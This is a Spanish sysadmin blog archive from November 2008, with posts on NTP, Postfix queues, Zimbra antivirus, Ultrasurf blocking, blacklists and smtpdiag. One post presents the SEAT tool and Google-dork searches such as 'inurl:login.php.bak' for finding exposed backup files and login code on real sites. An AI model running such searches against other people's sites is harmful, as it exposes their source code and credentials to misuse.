el correo llega a su hora

30 de noviembre de 2008

La mejor manera de no encontrar discrepancias entre las cabeceras de los correos y los logs de los servidores por donde pasa, es tener el servidor correctamente sincronizado. Cuando tú servidor procesa un correo le añade su cabecera junto con su marca de tiempo.

Received: from mail.amperisblog.com (LHLO mail.amperisblog.com)
 (192.168.1.6) by mail.amperisblog.com with LMTP; Sun, 19 Oct 2008 19:31:11
 +0200 (CEST)
Received: by mail.amperisblog.com (Postfix, from userid 500)
 id 208951B74EE; Sun, 19 Oct 2008 19:31:11 +0200 (CEST)

En Linux la manera de sincronizar el reloj es utilizando uno de los protocolos más antiguos de Internet (se creo en 1985): el ntp. Este protocolo se basa en paquetes udp, y aun utilizando paquetes udp está especialmente diseñado para resistir el retardo entre el servidor que proporcionan la hora y el cliente que la recibe.

El ntp utiliza una variación de un algoritmo llamado “algoritmo de Marzullo” el cual intenta encontrar un intervalo de tiempo que tenga un número máximo de solapamientos con las diferentes respuestas de los servidores de tiempo. Para entendernos mejor, lo que hace es hacer una especie de “media matemática” de entre todas las respuestas de tiempo que recibe. Siempre teniendo en cuenta las latencias de la red. Aquí tenéis unas transparencias interesantes sobre la problemática de la sincronización de los sistemas informáticos.

Si un reloj de un sistema (en nuestro caso el servidor de correo) es incorrecto, lo que hace ntp es desacelerarlo o acelerarlo hasta llegar a la hora correcta. El reloj nunca se atrasa en un sistema informático, en todo caso se desacelera. No esperes que tú reloj tenga la hora correcta nada más arrancar el cliente de ntp.

Todos los sistemas tienen implementado ntp y este es el caso de Linux. En mi caso el servidor de correo está en Fedora.

Lo primero que vamos hacer es asegurarnos de tener todo lo necesario. Normalmente ya lo tendremos instalado. Si no es así hacemos un “yum install ntp”:
# rpm –q –a | grep ntp
ntp-4.2.4p0-2.fc7

Ahora haremos una configuración manual de nuestro reloj. Cuando decimos reloj me refiero tanto a la fecha como a la hora.
Lo primero que haremos es seleccionar correctamente nuestra zona horaria basada en una escala de UTC. Como en España somos más chulos que nadie tenemos dos alternativas: la UTC+1 (o CET Central European Time) y UTC+2 en verano (CEST Central European Summer Time).

En sistemas basados en redhat podemos utilizar el comando "system-config-date" para seleccionar nuestra zona horaria. En mi caso “European/Madrid” con UTC.

Ahora ponemos manualmente nuestra fecha y hora. Son las 18:12 del 30 de noviembre del 2008:
# date -s "30 nov 2008 18:12:00"
Sun Nov 30 18:12:00 CET 2008

Le llega el turno al ntp. Lo primero que voy hacer es ver si soy capaz desde mi servidor de correo conectarme a un servidor de tiempo. Por ejemplo “clock.redhat.com”.
# ntpq –p clock.redhat.com
     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
*HOPF_S(0)       .CDMA.           0 l    -   16  377    0.000    0.003   0.015

Si por cualquier motivo nos diera un error del tipo “request timeout” tendríamos que asegurarnos de tener abierto hacia afuera el puerto UDP 123 pues es donde debe conectarse el cliente ntp.

Ahora que parece que todo está correcto podemos lanzar la primera sincronización contra un servidor de tiempo. Utilizamos ntpdate para forzar una sincronización:
# ntpdate clock.redhat.com
30 Nov 18:34:45 ntpdate[534]: adjust time server 66.187.233.4 offset 0.038592 sec

Como último paso podemos lazar el demonio ntp para que nuestro servidor de correo se sincronice automáticamente el solito:
# service ntpd start
Starting ntpd:                                             [  OK  ]

El archivo de configuración de ntp se encuentra dentro de /etc/ntpd.conf. Si lo editamos veremos que el parámetro más importante es “server”. En el se especifican los servidores a los que se les preguntará el tiempo.
# Use public servers from the pool.ntp.org project.
# Please consider joining the pool (http://www.pool.ntp.org/join.html).
server 0.fedora.pool.ntp.org dynamic
server 1.fedora.pool.ntp.org dynamic
server 2.fedora.pool.ntp.org dynamic

Como veis, se utiliza una lista de servidores pertenecientes al “NPT pool project” el cual recopila servidores de tiempo repartidos por el mundo. A estos servidores se les conoce como servidores de estrato 1. En el estrato 0 se encuentran directamente los relojes GPS o WWV.

Como yo soy de España, hago honor a mi tierra y utilizo mis servidores más cercanos. Para ello editamos /etc/ntpd.conf, borramos todos los servers que encontremos y ponemos estos otros tal como nos indica el “NTP pool Project”:
server 3.es.pool.ntp.org
server 3.europe.pool.ntp.org
server 2.europe.pool.ntp.org

Más información:
+ NTP en Wikipedia
+ El padre del NTP
+ Procolo oficial: NTP
+ The Tuxgraphics AVR NTP clock

SEAT (Search Engine Assessment Tool)

25 de noviembre de 2008

Acabo de conocer una aplicación de seguridad que se llama SEAT (de Peter Kacherginsky) y que permite buscar vulnerabilidades web según unas bases de datos establecidas. Estas son: GHDB, NIKTO, GSDB, etc. La más conocida es la GHDB o Google Hacking Data Base. En esta recopilación de problemas podemos encontrar desde paginas de administración mal protegidas de impresoras, gateways o webcams, hasta archivos con contraseñas accesibles desde una url.

Su funcionamiento se basa en la búsqueda por diferentes motores (Google, MSN, Yahoo...) y en la comparación de la url cacheada con la base de datos con las vulnerabilidades.

El programa tiene tres pestañas. En la pestaña "Preparation" le ponemos el dominio que queremos inspeccionar y cargamos también la batería de vulnerabilidades, por ejemplo GHDB. La siguiente pestaña llamada "Execution" le decimos en que buscadores queremos buscar, por ejemplo Google. Finalmente pulsamos el botón "Execute" y en la pestaña "Analysis" encontramos todas las coincidencias que ha encontrado.
La verdad es que es muy fácil de manejar y puede hacer mucho daño a un programador o administrador descuidado.

También es posible crear tú propios filtros de búsquedas de vulnerabilidades o simplemente olvidarse de un dominio en concreto y buscar directamente por todo Internet con solo buscar con el parámetros _GLOBAL.

Aquí tenéis un pantallazo de varias búsquedas que he realizado utilizando un filtro hecho a mano:


En el ejemplo anterior intento buscar primero en el dominio upc.es todos los subdominios que tiene (_BLANK) y luego tres posibles vulnerabilidades. Como seguramente no encuentre nada podemos pasar del dominio y buscar directamente por todo Internet con el parámetro _GLOBAL (consultar la documentación del programa).

También es posible añadir nuevos buscadores o modificar los que ya existen. Utilizando técnicas de expresiones regulares y xpath podemos recorrer el html del buscador y encontrar el numero de resultados y todas las búsquedas.

Para finalizar os dejo unos enlaces a los videos oficiales que son más didácticos que esta introducción.

+ Simple single target scan
+ Mine domain names
+ Scan a range of IP addresses
+ Scan a target using a vulnerability database
+ Create a custom vulnerability database
+ Create new search engine signature

El programa aun es muy nuevo y le falta arreglar algunas cosillas con algunos buscadores que no van del todo bien.

PD: por muchas tools gráficas que hagan no hay nada mejor que utilizar la técnica original. Hay muchos programadores que utilizan sus editores de texto para modificar sus fuentes directamente en el server. Algunas veces estos editores generan un backup con extensión .bak y al hacer búsquedas del estilo inurl:login.php.bak podemos encontrar cosas "curiosas". Aquí tenéis un ejemplo real de un descuidado programador que nos deja ver todo el código de logeo de su aplicación y tambien este otro.

Más información:
+ SEAT 0.2.tar.bz2
+ La documentación de SEAT

por fín llegó el 19N

19 de noviembre de 2008

Me he pedido la mañana libre y la verdad es que no me lo hubiera perdido. Ha sido muy emocionante ver a un montón de informáticos gritando, pitando y haciendo una sentada en media de la Gran Vía de Barcelona, vamos que he disfrutado más que un niño. Aquí tenéis una recopilación de las mejores fotos y en el siguiente enlace todas las fotos que he hecho.

Todas las fotos del 19N.

Hemos estado en: La Vanguardia, El Mundo, Vilaweb, Tv3

Por una informática digna ya!!!



Para que luego digan que solo hay tíos feos en informática:



Y para terminar un remake que he encontrado en youtube:



cómo poner mi dirección de correo en una web y que no me la roben

18 de noviembre de 2008

bDesde siempre se sabe que los spammers rastrean las webs en busca de direcciones de correo ya sean visibles o ocultas dentro del código html. En mi empresa hay cinco direcciones de correo publicadas en la web y ninguna de ellas está protegida para que no sea robada… yo no me encargo de la web… :)… pero sí del correo :(

Estas son técnicas para evitar los robots y las búsquedas de direcciones de correos basadas en expresiones regulares.

+ El primer ejemplo es el más sencillo. Basta con añadir caracteres dentro de la dirección de correo para evitar que la expresión regular de búsqueda reconozca la dirección de correo.

Si nuestra dirección es pablito@miempresa.com la cambiaríamos por pablito[arroba]miempresa[punto]com

Variantes como esta es cambiar toda la dirección de correo por una imagen que contenga la dirección de correo o más simplemente poner una imagen con la letra @. En el primer caso tendríamos “<img src=micorreo.gif>” y con el segundo ejemplo tendríamos algo como “pablito<img src=letraarroba.gif>miempresa.com”.

+ Otra manera es convertir la dirección de correo en caracteres hexadecimales. Por ejemplo en vez de escribir pablito@miempresa.com escribiríamos estos cararacteres en hexadecimal

&#x70;&#x61;&#x62;&#x6C;&#x69;&#x74;&#x6F;&#x40;&#x6D;&#x69;&#x65;&#x6D;&#x70;&#x72;&#x65;&#x73;
&#x61;&#x2E;&#x63;&#x6F;&#x6D;

Ver el alfabeto ascii en hexadecimal.

+ El último método más laborioso es ocultar la dirección de correo dentro de código javascript:

<script> 
function micorreo (usurio, dominio){ 
   document.write("<a href='mailto:" + usurio+"@"+dominio + "'>" + usurio+
                  "@"+dominio + "</a>") 
} 
</script> 

<body>
<script>micorreo("pablito","miempresa.com");</script>
</body>


ver el contenido de los mensajes en un cola postfix

17 de noviembre de 2008


¿Una de colas?

Existen dos comandos de Postfix que nos permiten ver el contenido de los mensajes cuando estan en la cola. Estos dos comandos son: postqueue y postcat.

Con el primer comando y el parámetro "-p" podemos montrar un listado de los mensajes que hay en la cola junto con el ID de mensaje que necesitaremos para el siguiente comando. Por último por el comando postcat y el parámetro "-q" podemos ver el contenido de un mensaje identificado por su ID.

Veamos un ejemplo:

[root@zimbra sbin]# ./postqueue -p
-Queue ID- --Size-- ----Arrival Time---- -Sender/Recipient-------
487D468268  5690132 Mon Nov 17 09:26:52  xxx@miempresa.com
                 (connect to hotmeil.com[65.74.156.180]: Connection timed out)
                                         mprieto59@hotmeil.com

4F2E26826C     8846 Mon Nov 17 10:09:55  yyy@miempresa.com
(Host or domain name not found. Name service error for name=pgigrupbcn.com type=MX: 
Host not found, try again)
                                         rrr@pgigrupbcn.com

3D4BE6826B   145071 Mon Nov 17 09:56:57  zzz@miempresa.com
(Host or domain name not found. Name service error for name=pgigrupbcn.com type=MX:
 Host not found, try again)
                                         rrr@pgigrupbcn.com

-- 5710 Kbytes in 3 Requests.

[root@zimbra sbin]# ./postcat -q 487D468268 > mail.txt

Dentro del archivo de texto mail.txt tenemos el mensaje que buscamos junto con su cabecera y cuerpo.

¿Es legal ver estos correos?

bloquear ultrasurf

15 de noviembre de 2008

Llevo dos días dándole vueltas a ultrasurf y la manera de cómo bloquearlo. Para quien no lo sepa ultrasurf es una aplicación que te permite navegar anónimamente por Internet basándose en la conexión de múltiples proxys anónimos que corren por Internet. Grácias a Arturo Jara por hacerme llegar la aplicación.


El método de funcionamiento es el siguiente. Una vez arrancado el programa este se conecta por Internet (he contado más de 100 direcciones IPs diferentes) a diferentes proxys anónimos a través de una conexión SSL. El programa se queda residente en 127.0.0.1 y abre el puerto 9666. En este momento esta tool funciona como Proxy interno y modifica el Internet Explorer para que utilice el Proxy en 127.0.0.1:9666. Cuando la petición de URL llega a ultrasurf por 127.0.0.1:9666 esta la manda a uno de los muchísimos proxys anónimos que tiene bajo SSL.

De cara a la persona que utiliza esta aplicación le permite hacer bypass del firewall y de los filtros web que pueda tener tú squid en la red. Aunque tú squid sea o no transparente este programa es capaz de saltarse esta seguridad. Se salta principalmente por dos motivos el primero es porque utiliza proxys anónimos y el segundo es que el trafico hacia estos proxys esta bajo ssl y por tanto no podemos saber que URL se estan pidiendo.

Estas son todas las cosas que he pensado.

Si tenemos control sobre las maquinas clientes (normalmente una red Windows bajo un dominio) podemos crear una política de seguridad para que no pueda ser ejecutada esta aplicación. También podríamos crear una política para que nada pudiera cambiar la configuración de Internet Explorer.

El problema viene cuando no tenemos control sobre estos equipos. Por ejemplo un grupo de portátiles que se conectan por wifi dentro de un campus. En este caso lo que haría como primera medida es poder bajarse de Internet este programa. Bloquearía la pagina de descarga. Aunque esto no sirve de mucho es la primera medida que tomaría.

Una vez hecho esto la única solución posible si no tenemos ningún control es bloquear todos los proxys públicos a los que se conecta esta aplicación. Necesitamos la lista de proxys públicos a la que se conecta. Utilizando un debugger como ollydbg no es posible obtener la lista ya que si arrancamos un sniffer vemos que la lista de proxys es dinámica y va cambiando. Así que lo que se me ocurrió es dejar el sniffer un buen rato funcionando y conseguir una lista de todas las direcciones IP de los proxys públicos a los que se conecta. Basta con hacer un windump como este:

C:\>windump –n dst port 443 > captura.txt

Aquí teneis un ejemplo de captura:

21:01:40.537222 IP 192.168.1.5.55305 > 72.25.66.87.443: S 2980566470:2980566470(0) 
 win 8192 mss 1260,nop,wscale 2,nop,nop,sackOK>
21:01:40.537620 IP 192.168.1.5.55305 > 72.25.66.87.443: S 2980566470:2980566470(0) 
 win 8192 mss 1260,nop,wscale 2,nop,nop,sackOK>
21:01:40.538108 IP 192.168.1.5.55306 > 140.211.11.140.443: S 567062490:567062490(0) 
 win 8192 mss 1260,nop,wscale 2,nop,nop,sackOK>
21:01:40.538360 IP 192.168.1.5.55306 > 140.211.11.140.443: S 567062490:567062490(0) 
 win 8192 mss 1260,nop,wscale 2,nop,nop,sackOK>
21:01:40.539182 IP 192.168.1.5.55307 > 125.225.64.91.443: S 4177901685:4177901685(0) 
 win 8192 mss 1260,nop,wscale 2,nop,nop,sackOK>
21:01:40.539553 IP 192.168.1.5.55307 > 125.225.64.91.443: S 4177901685:4177901685(0) 
 win 8192 mss 1260,nop,wscale 2,nop,nop,sackOK>
21:01:40.540003 IP 192.168.1.5.55308 > 61.233.14.206.443: S 2492978371:2492978371(0) 
 win 8192 mss 1260,nop,wscale 2,nop,nop,sackOK>
21:01:40.540241 IP 192.168.1.5.55308 > 61.233.14.206.443: S 2492978371:2492978371(0) 
 win 8192 mss 1260,nop,wscale 2,nop,nop,sackOK>

Después utilizo esta captura para crearme unas reglas para iptables y bloquear las IPs. Conseguí más de 100 direcciones IP, pero no me funcionó. Sólo conseguía que arrancara un poco más lento, pero al final conseguía conectarse contra un nuevo Proxy anónimo.

Utilicé este programa para pasar de una captura de windump a las reglas del iptables.

Vista la imposibilidad de bloquear todos los proxys habidos y por haber la única solución es cerrar todo el trafico 443. De esta forma el ultrasurf no navega. El problema es que todas las páginas legítimas que utilizan 443 tampoco funcionan. Sólo me queda añadir a mi iptables bajo demanda las direcciones IP de las páginas que utilizan 443. Si alguien no entra en una pagina SSL que habrá incidencia y que sea el administrador que añada la dirección IP de esa página SSL.
¿alguien tiene la lista completa de direcciones IP a las que se conecta ultrasurf?

Este método puede resultar una chapucería pero tiene coste 0. Si queremos gastar unos euros tenemos URLfilterDB para Squid. Lo que hace es añadir una lista de url y proxys anónimos a squid para bloquearlos. Esta aplicación es gratuita y lo que pagas realmente es la base de datos con url e ip que el programa se descarga cada día con las nuevas actualizaciones. Lo tengo instalado pero aun no me han llegado las claves de usuario para bajar la trial de 60 días.

Otro método que he encontrado es el siguiente. Dado que se establece un túnel ssl entre ultrasurf y el Proxy anónimo, rompamos este túnel y miremos lo que hay dentro para ver si la pagina que se visita es legitima o no. Esto podrá hacerse a partir de la versión 3.1 de Squid que ahora esta en beta. Esta técnica se llama squid-in-the-middle y ya se puede utilizar.
La 3.1 beta con esta técnica no la he probado, pero aunque funcione el usuario debería verse afectado ya que el certificado que cargará al conectarse por SSL a su página legitima debería dar error en el IE o Firefox.

Aquí tenéis cómo se configura esta técnica.

Para finalizar decir lo peligroso que puede llegar a ser navegar por estos proxys anónimos. ¿Quien los controla?, ¿Por qué están allí?, ¿leerías tú correo por estos proxys sin saber quien los administra?.

Más informacion:
+ Lista de proxys publicos
+ Solucuón comercial para evitar los proxys publicos
+ Trucos para acceder a paginas bloqueadas

zimbra + kaspersky antivirus

14 de noviembre de 2008

Tengo un Zimbra con tres antivirus libres filtrando el correo en Zimbra: Clamav, AVG y Bitdefender. Aun así me siguen entrando virus como los últimos de UPS que sólo me los está parando Kaspersky o NOD32... es decir antivirus de pago.

Este post explica como integrar la versión de Kaspersky Antifirus for Linux File Server dentro de Zimbra. Se podría integrar tambien el Kaspersky Antivirus for Mail Server pero este se paga por numero de buzones que tengamos (que no se como lo controla) y además funciona como una pasarela entre tú Postfix.
Si utilizamos la versión de File Server solo necesitaremos una única licencia para el servidor y además se integra rapidamente con el Amavis de Zimbra. Se integra igual que Clamav, AVG o Bitdefender.

Para hacer las pruebas puede bajarse gratuitamente desde el Download Product y la trial para una licencia de 60 dias se puede bajar de la Trial Version.

Bajamos la versión 5.7.26 y la instalamos como siempre (rpm -i kav4fs-5.7-26.i386.rpm). Una vez terminada la instalación lanzamos el programa de postinstalación:

/opt/kaspersky/kav4fs/lib/bin/setup/postinstall.pl

La postinstalación nos pedirá básicamente la ruta donde se encuentra la key con las licencias trial y si queremos actualizar las bases de virus en este momento. Le diremos que queremos actualizarlas.
Cuando finalice la actualizacion nos pedirá si queremos arrancar el kavmonitor que es el antivirus residente y en tiempo real. Le diremos que no queremos instalar este componente porque lo unico que queremos es la herramienta de analisis bajo demanda. Esta herramienta es la que utilizaremos con Amavis.

Una vez finalizada la instalación hacemos una prueba de funcionamiento del scaner online:

# cd /opt/kaspersky/kav4fs/bin/
# ./kav4f-kavscanner

El siguiente paso es dar los permisos correctos al kaspersky para que pueda ejecutarse dentro del contexto de Zimbra. Damos permisos al usuario zimbra para ejecutar kav.

# chown zimbra:zimbra -R /opt/kaspersky/
# chown zimbra:zimbra -R /var/log/kaspersky/ 
# chown zimbra:zimbra -R /var/opt/kaspersky/
# chown zimbra:zimbra -R /etc/opt/kaspersky/kav4fs.conf

Entramos con el usuario zimbra y volvemos a verificar que sigue funcionando correctamente:
 
# su - zimbra
# cd /opt/kaspersky/kav4fs/bin/
# ./kav4f-kavscanner

Ahora tenemos que decirle a Amavis que utilice el nuevo antivirus. Para ello editamos /opt/zimbra/conf/amavis.conf.in y añadimos dentro del parámetro @av_scanners = (.....); la siguiente definición de antivirus:
### Kaspersky Antivirus 5.7
  ['Kaspersky Antivirus v5.7.26',
     ['/opt/kaspersky/kav4fs/bin/kav4fs-kavscanner', 'kav4fs-kavscanner'],
     '-r -i0 -xpn -mn -ePASBME -R -i0 {}/*', [0], [5,21,25],
     qr/(?:INFECTED|SUSPICIOUS) (.+)/,
  ],
### fin Kav.

Salvamos el archivo de configuración y reiniciamos Amavis o Zimbra.

# su - zimbra
# cd bin
# ./zmcontrol restart

Para asegurarnos miramos dentro de /var/log/zimbra.log y miramos si amavis ha detectamos Kaspersky y cualquier otro antivirus que tengamos instalado en el sistema:

Nov 14 18:01:25 hermes amavis[24479]: Using primary internal av scanner code for
ClamAV-clamd
Nov 14 18:01:25 hermes amavis[24479]: Using primary internal av scanner code for AVG 
Anti-Virus
Nov 14 18:01:25 hermes amavis[24479]: Found primary av scanner Kaspersky Antivirus v
5.7.26 at /opt/kaspersky/kav4fs/bin/kav4fs-kavscanner

Para finalizar enviamos un virus de prueba como Eicar y verificamos que realmente detecta el virus. Al usuario administrador le llegará un mail como este. Vemos como Eicar está detectado por los tres antivirus incluido el Kaspersky:

------------------
A virus was found: Eicar-Test-Signature
 
Scanners detecting a virus: ClamAV-clamd, AVG Anti-Virus, Kaspersky Antivirus v5.7.26 
 
Content type: Virus 
Internal reference code for the message is 09904-01/jotFQpxzYy29 
 
First upstream SMTP client IP address: [10.5.9.101] zimbra.miempresa.com 
According to a 'Received:' trace, the message originated at: [10.5.9.101], 
  zimbra.miempresa.com (zimbra.miempresa.com [10.159.101]) 
 
Return-Path: admin@miempresa.com 
Message-ID: 31819109.01226679594679.JavaMail.root@zimbra.miempresa.com 
The message has been quarantined as: virus-jotFQpxzYy29 
 
Notification to sender will not be mailed. 
 
The message WAS NOT relayed to: 
admin@miempresa.com: 
   250 2.7.0 Ok, discarded, id=09904-01 - VIRUS: Eicar-Test-Signature 
 
Virus scanner output: 
  p006: Eicar-Test-Signature FOUND 
------------------


aventuras y desventuras con hotmail

13 de noviembre de 2008

El domingo pasado llego a una dirección de correo de mi empresa 789 correos del estilo “Delivery to the following recipient failed”. El usuario flipó cuando empezó a bajar por POP los 789 correos.
El problema fue que utilizaron su dirección de correo para hacer spam y hubo 789 direcciones que no se pudieron entregar y por tanto el mail con el error llegó a la dirección de correo original y no al spammer.

Dos días después de eso y no se como estábamos en 17 blacklist. Lo que no entiendo es como nuestra IP estaba allí si nosotros no habíamos generado todo ese spam (puedo asegurar que no fuimos nosotros). El caso es que estábamos allí posiblemente consultado los registros de nuestro dominio.

Esta es una lista de buscadores de blacklist:

+ http://www.mxtoolbox.com/blacklists.aspx
+ http://www.blacklistalert.org/
+ http://openrbl.org/client/

Normalmente es fácil darse de baja de las listas. Basta con ir a la página del blacklist que te bloquea, buscar el apartado para desbloquear y poner tú dirección IP. Otros sistemas para desbloquear es que te mandan que envíes tu dirección IP a una dirección de correo o que introduzcas un código de ID que te envían por correo. Cada página tiene su manera y no tardas más de 5 minutos en desbloquear. Una hecha la petición de desbloqueo es cuestión de minutos. Las blacklist de las que me he desbloqueado han sido cuestión de minutos.

El que más difícil y largo ha sido el proceso de desbloqueo es en Hotmail/Live. El proceso es largo y reservado para gente apasionada del correo porque te preguntan hasta la versión de tú MTA.

El proceso empieza con el respectivo mail de Delivery de Hotmail:

  xxx@hotmail.com: host mx2.hotmail.com[65.54.245.40] said: 550 OU-001  
  
Mail rejected by Windows Live Hotmail for policy reasons. Reasons for rejection
may be related to content with spam-like characteristics or IP/domain reputation 
problems. If you are not an email/network admin please contact your E-mail/Internet

Service Provider for help. Email/network admins, please visit 
http://postmaster.live.com for email delivery information and support (in reply to 
MAIL FROM command)

La única información que tienes es leer toda una parrafada de explicaciones y servicios dentro de http://postmaster.live.com. Ahora empieza un juego divertido que es encontrar donde tienes que pulsar para enviar tú dirección IP y que te la quiten de sus blacklist (si es que utilizan las propias o se alimentan de otras). Después de tanto buscar, llegamos al apartado “Solución de problemas” y al final del todo hay un link que pone “haz clic aquí para ponerte en contacto con el servicio técnico”. Lo encontramos ¡!!!

https://support.msn.com/eform.aspx?productKey=edfsmsbl&ct=eformts&scrx=1

Lo abrimos y para nuestra sorpresa el juego no ha terminado. Ahora tienes que rellenar un formulario de 32 campos que van desde tú nombre a la versión de tú MTA, pasando por las estadísticas de cuantos corres enviamos al mes o cual es nuestro ISP.

Enviamos el formulario y si todo va bien al cabo de unos días nos llega un mail (de una persona humana) que no pide que le volvamos a explicar el problema (lastima que ya no tenga el mail… era de risa). Al cabo de unos días… por fin pueden enviar correo a Hotmail.

el formulario de nunca acabar (no lo pego todo porque me quedo sin blog)



Más información:
+ Hilo en zimbra-grupo sobre mxtoolbox

smtpdiag: oye!, ¿os funciona el correo?

12 de noviembre de 2008

smtpdiag es una utilidad libre de microsoft creada para exchange pero que en realidad funciona para cualquier tipo de servicio smtp.

El objetivo de esta utilidad es saber si está correctamente funcionando los dns y las respuestas de los smtp.
Lo que hace la utilidad es leer todos los registros mx de un dominio, verificar que son correctos y que cada mx es respondido por algún servidor smtp.
Me explico. Supongamos que trabajamos en GMail (digo GMail porque este tiene muchas entradas de MX) y alguien nos llama y nos hace la típica pregunta: ¿nos funciona el correo?. La manera más rápida de verificar si todo el sistema de correo esta funcionando es utilizando utilidades como esta.

Lo que hace primero smtpdiag es obtener todos los registros mx:

Comprobando registros MX mediante TCP: gmail.com.
  MX:    gsmtp147.google.com (50)
  MX:    gsmtp183.google.com (50)
  MX:    gmail-smtp-in.l.google.com (5)
  MX:    alt1.gmail-smtp-in.l.google.com (10)
  MX:    alt2.gmail-smtp-in.l.google.com (10)
  A:     gsmtp147.google.com [209.85.147.27]
  A:     gsmtp183.google.com [64.233.183.27]
Comprobando los registros MX mediante UDP: gmail.com.
  MX:    gsmtp183.google.com (50)
  MX:    gmail-smtp-in.l.google.com (5)
  MX:    alt1.gmail-smtp-in.l.google.com (10)
  MX:    alt2.gmail-smtp-in.l.google.com (10)
  MX:    gsmtp147.google.com (50)
Las consultas de TCP y UDP se realizaron con éxito. La comprobación del DNS
remoto fue correcta.
  A:     gmail-smtp-in.l.google.com [216.239.59.27]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.184]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.177]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.176]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.183]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.181]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.186]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.178]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.185]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.182]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.187]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.180]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.179]
  A:     alt2.gmail-smtp-in.l.google.com [209.85.199.27]
  A:     alt2.gmail-smtp-in.l.google.com [209.85.199.114]

Según este ejemplo (donde Google tiene balanceadores de carga smtp) diríamos que el correo funciona correctamente si cada uno de sus balanceadores responde a peticiones smtp ( tanto no hay ningún servidor caído).

El siguiente paso de smtpdiag es conectarse al puerto 25 de cada uno de estos servidores y verificar que están funcionando.

Probemos por ejemplo de smtpdiag enviando un correo desde xxx@hotmail.com a yyy@gmail.com:
c:\>smtpdiag xxx@hotmail.com yyy@gmail.com /V

Buscando la configuraci¢n del DNS Externo en Exchange.

El nombre del equipo es 23HAG1.

Comprobando gmail.com en SOA.
Comprobando los servidores DNS externos.
Comprobando los servidores DNS internos.

Comprobando el n£mero de serie SOA de TCP y de UDP mediante el servidor DNS
[10.1.1.14].
La prueba TCP se realiz¢ con ‚xito.
La prueba UDP se realiz¢ con ‚xito.
N£mero de serie: 2008102400

Comprobando el n£mero de serie SOA de TCP y de UDP mediante el servidor DNS
[10.1.1.12].
La prueba TCP se realiz¢ con ‚xito.
La prueba UDP se realiz¢ con ‚xito.
N£mero de serie: 2008102400
Comprobaci¢n de n£mero de serie SOA: aceptado.

Comprobando los registros de dominio locales.

Iniciando consultas DNS de TCP y UDP para el dominio local. Estas pruebas
intentar n verificar la configuraci¢n del DNS para el correo entrante. Podr¡an
producirse tres tipos de errores.
    1) El dominio local no est  configurado en el DNS. En este caso, el correo
entrante no podr  enrutarse a los buzones locales.
    2) El servidor de seguridad bloquea las consultas DNS de TCP o de UDP. Esto
no afectar  al correo entrante, pero s¡ al saliente.
    3) El DNS interno no conoce la configuraci¢n del DNS interno. Esta
configuraci¢n es v lida en determinadas tipolog¡as.
Comprobando registros MX mediante TCP: hotmail.com.
  MX:    mx1.hotmail.com (5)
  MX:    mx2.hotmail.com (5)
  MX:    mx3.hotmail.com (5)
  MX:    mx4.hotmail.com (5)
  A:     mx1.hotmail.com [65.54.244.8]
  A:     mx1.hotmail.com [65.54.245.8]
  A:     mx1.hotmail.com [65.54.244.136]
  A:     mx2.hotmail.com [65.54.244.40]
  A:     mx2.hotmail.com [65.54.245.40]
  A:     mx2.hotmail.com [65.54.244.168]
  A:     mx3.hotmail.com [65.54.244.72]
  A:     mx3.hotmail.com [65.54.245.72]
  A:     mx3.hotmail.com [65.54.244.200]
  A:     mx4.hotmail.com [65.54.244.104]
  A:     mx4.hotmail.com [65.54.244.232]
  A:     mx4.hotmail.com [65.54.245.104]
Comprobando los registros MX mediante UDP: hotmail.com.
  MX:    mx2.hotmail.com (5)
  MX:    mx3.hotmail.com (5)
  MX:    mx4.hotmail.com (5)
  MX:    mx1.hotmail.com (5)
  A:     mx2.hotmail.com [65.54.245.40]
  A:     mx2.hotmail.com [65.54.244.168]
  A:     mx2.hotmail.com [65.54.244.40]
  A:     mx3.hotmail.com [65.54.245.72]
  A:     mx3.hotmail.com [65.54.244.200]
  A:     mx3.hotmail.com [65.54.244.72]
  A:     mx4.hotmail.com [65.54.244.232]
  A:     mx4.hotmail.com [65.54.245.104]
  A:     mx4.hotmail.com [65.54.244.104]
  A:     mx1.hotmail.com [65.54.245.8]
  A:     mx1.hotmail.com [65.54.244.136]
  A:     mx1.hotmail.com [65.54.244.8]
Las consultas de TCP y UDP se realizaron con ‚xito. La comprobaci¢n del DNS
local fue correcta.
 
Comprobando los registros de dominio remotos.
Iniciando consultas DNS de TCP y UDP para el dominio local. Estas pruebas
intentar n verificar la configuraci¢n del DNS para el correo saliente. Podr¡an
producirse tres tipos de errores.
    1) El servidor de seguridad bloquea las consultas de TCP o UDP, lo que
bloquea el correo saliente. Windows 2000 y Windows NT Server necesitan realizar
consultas DNS de TCP. Windows Server 2003 utilizar  consultas UDP en primer
lugar, y en caso de error conmutar  a consultas TCP.
    2) El DNS interno no sabe c¢mo realizar consultas a dominios externos. Debe
utilizar un servidor DNS externo o configurar el servidor DNS para que realice
consultas a dominios externos.
    3) No existe el dominio remoto. Se producir  un error.
Comprobando registros MX mediante TCP: gmail.com.
  MX:    gmail-smtp-in.l.google.com (5)
  MX:    alt1.gmail-smtp-in.l.google.com (10)
  MX:    alt2.gmail-smtp-in.l.google.com (10)
  MX:    gsmtp147.google.com (50)
  MX:    gsmtp183.google.com (50)
  A:     gmail-smtp-in.l.google.com [216.239.59.27]
  A:     gsmtp147.google.com [209.85.147.27]
  A:     gsmtp183.google.com [64.233.183.27]
Comprobando los registros MX mediante UDP: gmail.com.
  MX:    alt1.gmail-smtp-in.l.google.com (10)
  MX:    alt2.gmail-smtp-in.l.google.com (10)
  MX:    gsmtp147.google.com (50)
  MX:    gsmtp183.google.com (50)
  MX:    gmail-smtp-in.l.google.com (5)
Las consultas de TCP y UDP se realizaron con ‚xito. La comprobaci¢n del DNS
remoto fue correcta.
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.178]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.179]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.185]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.183]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.180]
